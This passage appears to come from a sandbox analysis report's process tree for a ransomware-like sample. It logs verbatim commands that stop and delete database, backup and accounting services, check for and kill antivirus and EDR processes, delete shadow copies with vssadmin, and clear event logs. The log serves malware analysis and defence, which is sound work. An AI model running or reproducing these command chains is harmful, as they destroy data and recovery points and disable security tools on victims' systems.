C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPWriterV45⤵
-
C:\Windows\SysWOW64\net.exenet stop SPSearch44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPSearch45⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1005⤵
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN5⤵
-
C:\Windows\SysWOW64\net.exenet stop firebirdguardiandefaultinstance4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop firebirdguardiandefaultinstance5⤵
-
C:\Windows\SysWOW64\net.exenet stop ibmiasrw4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ibmiasrw5⤵
-
C:\Windows\SysWOW64\net.exenet stop QBCFMonitorService4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService5⤵
-
C:\Windows\SysWOW64\net.exenet stop QBVSS4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBVSS5⤵
-
C:\Windows\SysWOW64\net.exenet stop QBPOSDBServiceV124⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBPOSDBServiceV125⤵
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Server (CProgramFilesIBMDominodata)"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Server (CProgramFilesIBMDominodata)"5⤵
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"5⤵
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN5⤵
-
C:\Windows\SysWOW64\net.exenet stop "Simply Accounting Database Connection Manager"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Simply Accounting Database Connection Manager"5⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB14⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB15⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB24⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB25⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB34⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB35⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB45⤵
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB54⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB55⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im UniFi.exe4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq MsMpEng.exe"4⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq ntrtscan.exe"4⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"4⤵
-
C:\Windows\SysWOW64\find.exefind /c "PID"4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq avp.exe"4⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq WRSA.exe"4⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq egui.exe"4⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq AvastUI.exe"4⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /c "PID"4⤵
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "DAService_TCP"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "eCard-TTransServer"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete eCardMPService5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete EnergyDataService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete UI0Detect5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete K3MobileService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TCPIDDAService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete WebAttendServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete UIODetect5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "wanxiao-monitor"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMAuthdService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMUSBArbService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMwareHostd5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "vm-agent"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VmAgentDaemon5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OpenSSHd5⤵
-
C:\Windows\SysWOW64\sc.exesc delete eSightService5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete apachezt5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Jenkins5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete secbizsrv5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete SQLTELEMETRY5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSMQ5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete smtpsvrJT5⤵
-
C:\Windows\SysWOW64\sc.exesc delete zyb_sync5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntHttpServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntClientSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete wampapache5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MSSEARCH5⤵
-
C:\Windows\SysWOW64\sc.exesc delete NFWebServer5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete msftesql5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SyncBASE Service"5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete OracleDBConcoleorcl5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete OracleMTSRecoveryService5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "XT800Service_Personal"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLSERVERAGENT5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete SQLWriter5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLBrowser5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLSERVER5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher5⤵
-
C:\Windows\SysWOW64\sc.exesc delete QcSoftService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLServerOLAPService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMTools5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VGAuthService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSDTC5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete TeamViewer5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ReportServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RabbitMQ5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "AHS SERVICE"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sense Shield Service"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SSMonitorService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SSSyncService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdAppService13005⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSQL$SQL20085⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLAgent$SQL20085⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdTaskService13005⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdUpgradeService13005⤵
-
C:\Windows\SysWOW64\sc.exesc delete VirboxWebServer5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete jhi_service5⤵
-
C:\Windows\SysWOW64\sc.exesc delete LMS5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FontCache3.0.0.0"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services""4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1ClrAgent5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1TNSListener5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleServiceORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete aspnet_state @sc delete Redis5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete JhTask5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete XT800Service_Personal5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MCService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete allpass_redisservice_port211605⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Flash Helper Service"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Kiwi Syslog Server"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UWS HiPriv Services"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WEVTUTIL EL4⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL EL5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSDS.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer_Service.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CasLicenceServer.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_w32.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_x64.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rdm.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRT.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRTPortable.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBox.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBoxVM.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSVC.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM abs_deployer.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_monitor.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfupdatemgr.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ipc_proxy.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_agent.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_sec_plan.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfavsvc.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxMonitorService.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxService.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchangeService.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchange.NodeService.ein /F5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExec.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Att.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mdm.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BackupExecManagementService.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bengine.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM benetns.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beserver.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pvlsvr.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM bedbg.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM beremote.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RemoteAssistProcess.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarMoniService.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGameSrv.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarCMService.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TsService.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GoodGame.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BarServerView.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IcafeServicesTray.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM BsAgent_0.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ControlServer.exe /F5⤵
-
